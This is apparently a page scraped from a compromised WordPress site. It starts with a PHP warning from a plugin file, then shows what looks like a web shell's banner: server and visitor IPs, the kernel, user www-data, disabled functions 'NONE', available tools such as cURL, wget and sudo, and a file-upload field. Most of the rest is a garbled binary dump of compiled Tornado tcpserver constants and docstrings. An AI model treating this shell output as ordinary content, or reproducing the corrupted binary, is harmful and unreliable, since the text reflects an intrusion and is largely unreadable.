Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560 [2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85 [3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50 [4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13 [5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
| Server IP : 94.177.8.99 / Your IP : 216.73.217.165 Web Server : Apache/2.4.58 (Ubuntu) System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64 User : www-data ( 33) PHP Version : 8.1.34 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /nuitka/eggshell.build/ |
Upload File : |
�� �ssl_options�.�� �_sockets�.��
� _handlers�.�� �_pending_sockets�.�� �_started�.�� �_stopped�.�� �max_buffer_size�.�� �read_chunk_size�.�� �certfile�.��) �%missing key "certfile" in ssl_options�.�� �certfile "%s" does not exist�.�� �keyfile�.�� �keyfile "%s" does not exist�.�� �bind_sockets�.��6 (�address��family��backlog��flags��
reuse_port�t�.�� �add_sockets�.��W XP Starts accepting connections on the given port.
This method may be called more than once to listen on multiple ports.
`listen` takes effect immediately; it is not necessary to call
`TCPServer.start` afterwards. It is, however, necessary to start the
event loop if it is not already running.
All arguments have the same meaning as in
`tornado.netutil.bind_sockets`.
.. versionchanged:: 6.2
Added ``family``, ``backlog``, ``flags``, and ``reuse_port``
arguments to match `tornado.netutil.bind_sockets`.
�.�� �self�.��
�fileno�.�� �add_accept_handler�.�� �_handle_connection�.��� X� Makes this server start accepting connections on the given sockets.
The ``sockets`` parameter is a list of socket objects such as
those returned by `~tornado.netutil.bind_sockets`.
`add_sockets` is typically used in combination with that
method and `tornado.process.fork_processes` to provide greater
control over the initialization of a multi-process server.
�.��E �ASingular version of `add_sockets`. Takes a single socket object.�.��
�extend�.��� X� Binds this server to the given port on the given address.
To start the server, call `start`. If you want to run this server in a
single process, you can call `listen` as a shortcut to the sequence of
`bind` and `start` calls.
Address may be either an IP address or hostname. If it's a hostname,
the server will listen on all IP addresses associated with the name.
Address may be an empty string or None to listen on all available
interfaces. Family may be set to either `socket.AF_INET` or
`socket.AF_INET6` to restrict to IPv4 or IPv6 addresses, otherwise both
will be used if available.
The ``backlog`` argument has the same meaning as for `socket.listen
<socket.socket.listen>`. The ``reuse_port`` argument has the same
meaning as for `.bind_sockets`.
This method may be called multiple times prior to `start` to listen on
multiple ports or interfaces.
.. versionchanged:: 4.4
Added the ``reuse_port`` argument.
.. versionchanged:: 6.2
Added the ``flags`` argument to match `.bind_sockets`.
.. deprecated:: 6.2
Use either ``listen()`` or ``add_sockets()`` instead of ``bind()``
and ``start()``. The ``bind()/start()`` pattern depends on
interfaces that have been deprecated in Python 3.10 and will be
removed in future versions of Python.
�.�K.�� �process�.�� �fork_processes�.��q Xj Starts this server in the `.IOLoop`.
By default, we run the server in this process and do not fork any
additional child process.
If num_processes is ``None`` or <= 0, we detect the number of cores
available on this machine and fork that number of child
processes. If num_processes is given and > 1, we fork that
specific number of sub-processes.
Since we use processes and not threads, there is no shared memory
between any server code.
Note that multiple processes are not compatible with the autoreload
module (or the ``autoreload=True`` option to `tornado.web.Application`
which defaults to True when ``debug=True``).
When using multiple processes, no IOLoops can be created or
referenced until after the call to ``TCPServer.start(n)``.
Values of ``num_processes`` other than 1 are not supported on Windows.
The ``max_restarts`` argument is passed to `.fork_processes`.
.. versionchanged:: 6.0
Added ``max_restarts`` argument.
.. deprecated:: 6.2
Use either ``listen()`` or ``add_sockets()`` instead of ``bind()``
and ``start()``. The ``bind()/start()`` pattern depends on
interfaces that have been deprecated in Python 3.10 and will be
removed in future versions of Python.
�.�� �items�.��* �&too many values to unpack (expected 2)�.�� �pop�.�� �close�.��� ��Stops listening for new connections.
Requests currently in progress may still continue after the
server is stopped.
�.��k Xd Override to handle a new `.IOStream` from an incoming connection.
This method may be a coroutine; if so any exceptions it raises
asynchronously will be logged. Accepting of incoming connections
will not be blocked by this coroutine.
If this `TCPServer` is configured for SSL, ``handle_stream``
may be called before the SSL handshake has completed. Use
`.SSLIOStream.wait_for_handshake` if you need to verify the client's
certificate or use NPN/ALPN.
.. versionchanged:: 4.2
Added the option for this method to be a coroutine.
�.�� �ssl�.��. �(Python 2.6+ and OpenSSL required for SSL���.�� �ssl_wrap_socket�.��/ }�(�server_side���do_handshake_on_connect��u.�� �SSLError�.�� �args�.�K .�� �
SSL_ERROR_EOF�.��
�socket�.�� �error�.�� �errno_from_exception�.�� �errno�.�� �ECONNABORTED�.��
�EINVAL�.�� �SSLIOStream�.�� hh��.�� �IOStream�.�� �
handle_stream�.��
�IOLoop�.�� �current�.�� �
add_future�.�� �gen�.�� �convert_yielded�.�� �<lambda>�.��2 �.TCPServer._handle_connection.<locals>.<lambda>�.�� �app_log�.��# �Error in connection callback����.�� �exc_info���.��
�result�.��/ �+A non-blocking, single-threaded TCP server.�.�� �__doc__�.��? �;/usr/local/lib/python3.8/dist-packages/tornado/tcpserver.py�.�� �__file__�.�� �__spec__�.��
�origin�.�� �has_location�.�� �
__cached__�.�� �os�.�� �tornado�.�� h>��.�� �tornado.log�.�� hB��.�� �tornado.ioloop�.�� h;��.�� �tornado.iostream�.�� h9h7��.�� �tornado.netutil�.�� (h
hh*�_DEFAULT_BACKLOG�t�.�hZ.�� h��.�� �tornado.util�.�� h3��.��
�typing�.�� �Union�.�� �Dict�.�� �Any�.�� �Iterable�.�� �Optional�.��
� Awaitable�.�� �builtins��object�����.��
� metaclass�.�� �__prepare__�.��
� TCPServer�.�� �__getitem__�.��2 �.%s.__prepare__() must return a mapping, not %s�.�� �__name__�.�� �<metaclass>�.�� �tornado.tcpserver�.�� �
__module__�.��J XC A non-blocking, single-threaded TCP server.
To use `TCPServer`, define a subclass which overrides the `handle_stream`
method. For example, a simple echo server could be defined like this::
from tornado.tcpserver import TCPServer
from tornado.iostream import StreamClosedError
class EchoServer(TCPServer):
async def handle_stream(self, stream, address):
while True:
try:
data = await stream.read_until(b"\n") await
stream.write(data)
except StreamClosedError:
break
To make this server serve SSL traffic, send the ``ssl_options`` keyword
argument with an `ssl.SSLContext` object. For compatibility with older
versions of Python ``ssl_options`` may also be a dictionary of keyword
arguments for the `ssl.wrap_socket` method.::
ssl_ctx = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH)
ssl_ctx.load_cert_chain(os.path.join(data_dir, "mydomain.crt"),
os.path.join(data_dir, "mydomain.key"))
TCPServer(ssl_options=ssl_ctx)
`TCPServer` initialization follows one of three patterns:
1. `listen`: single-process::
async def main():
server = TCPServer()
server.listen(8888)
await asyncio.Event.wait()
asyncio.run(main())
While this example does not create multiple processes on its own, when
the ``reuse_port=True`` argument is passed to ``listen()`` you can run
the program multiple times to create a multi-process service.
2. `add_sockets`: multi-process::
sockets = bind_sockets(8888)
tornado.process.fork_processes(0)
async def post_fork_main():
server = TCPServer()
server.add_sockets(sockets)
await asyncio.Event().wait()
asyncio.run(post_fork_main())
The `add_sockets` interface is more complicated, but it can be used with
`tornado.process.fork_processes` to run a multi-process service with all
worker processes forked from a single parent. `add_sockets` can also be
used in single-process servers if you want to create your listening
sockets in some way other than `~tornado.netutil.bind_sockets`.
Note that when using this pattern, nothing that touches the event loop
can be run before ``fork_processes``.
3. `bind`/`start`: simple **deprecated** multi-process::
server = TCPServer()
server.bind(8888)
server.start(0) # Forks multiple sub-processes
IOLoop.current().start()
This pattern is deprecated because it requires interfaces in the
`asyncio` module that have been deprecated since Python 3.10. Support for
creating multiple processes in the ``start`` method will be removed in a
future version of Tornado.
.. versionadded:: 3.1
The ``max_buffer_size`` argument.
.. versionchanged:: 5.0
The ``io_loop`` argument has been removed.
�.�� �__qualname__�.�� NNN��.�� �str�.�� �
SSLContext�.�� �int�.��
�return�.�� �__init__�.�� �TCPServer.__init__�.��
� AF_UNSPEC�.�� �port�.�h.�h.�� �
AddressFamily�.�h.�h.�h.�� �bool�.��
�listen�.�� �TCPServer.listen�.�� �sockets�.�� �TCPServer.add_sockets�.�� �
add_socket�.�� �TCPServer.add_socket�.�� �bind�.�� �TCPServer.bind�.�� KN��.�� �
num_processes�.�� �max_restarts�.�� �start�.�� �TCPServer.start�.�� }�hyNs.�� �stop�.�� �TCPServer.stop�.��
�stream�.�� �tuple�.�� �TCPServer.handle_stream�.�� �
connection�.�� �TCPServer._handle_connection�.�� �__orig_bases__�.�� �f���.�� �<module tornado.tcpserver>�.�� � __class__���.�� (hh hht�.�� (hh�h�err�h��future�t�.�� hh1��.�� hh��sock���.�� (hh}hhhhhh�t�.�� hh�h��.�� (hh�h�h�t�.�� h�fd�h���.�� � �.